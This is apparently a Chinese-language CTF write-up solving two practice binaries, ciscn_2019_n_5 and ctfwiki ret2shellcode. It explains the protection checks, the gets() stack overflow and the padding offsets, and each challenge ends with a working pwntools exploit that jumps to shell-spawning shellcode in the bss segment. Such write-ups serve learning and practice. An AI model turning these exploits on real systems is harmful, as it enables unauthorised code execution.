1. buuoj—ciscn_2019_n_5(64位)
- 查看保护,没有开启NX,RELOAD也没有完全开启
-
shellcode 的存储地址
-
首先读入name,这里可以作为shellcode 的地址,其次gets() 函数,在获取gets 时存在栈溢出
-
name在bss 段的位置
-
-
exp
from pwn import * p = process('./ciscn_2019_n_5') elf = ELF('./ciscn_2019_n_5') context.log_level = 'debug' context.arch = elf.arch #step 1 在bss段写入shellcode name_bss = 0x601080 payload1 = asm(shellcraft.sh()) p.sendlineafter('tell me your name\n',payload1) #step 2 在函数栈溢出执行,bss段的shellcode payload2 = b'a'*0x28 + p64(name_bss) p.sendlineafter('What do you want to say to me?\n',payload2) p.interactive()
2. ctfwiki-ret2shellcode(32位)
-
查看保护,没有开NX以及RELOAD
-
shellcode 的存储地址
-
首先,gets函数存在栈溢出,其次strncpy将s的前64字节复制到buf的bss段,可以在s的前64字节构造shellcode,再通过s溢出到buf2的bss所在地址
-
buf2所在的bss地址
-
计算s距离ebp的偏移量
-
将断点打在gets函数上
-
上图可知,ebp与esp直接的距离为0x88,又s距离esp0x1c,故s距离ebp0x6c,加上ebp本身4字节,所以padding长度为0x70
-
-
exp
from pwn import * p = process('./ret2shellcode') elf = ELF('./ret2shellcode') context.log_level = 'debug' context.arch = elf.arch bss = 0x804a080 #step 1 payload = asm(shellcraft.i386.sh()) #step 2 payload = payload.ljust(112,b'a') + p32(bss) print("payload_len=="+str(hex(len(payload)))) p.sendlineafter('No system for you this time !!!\n',payload) p.interactive()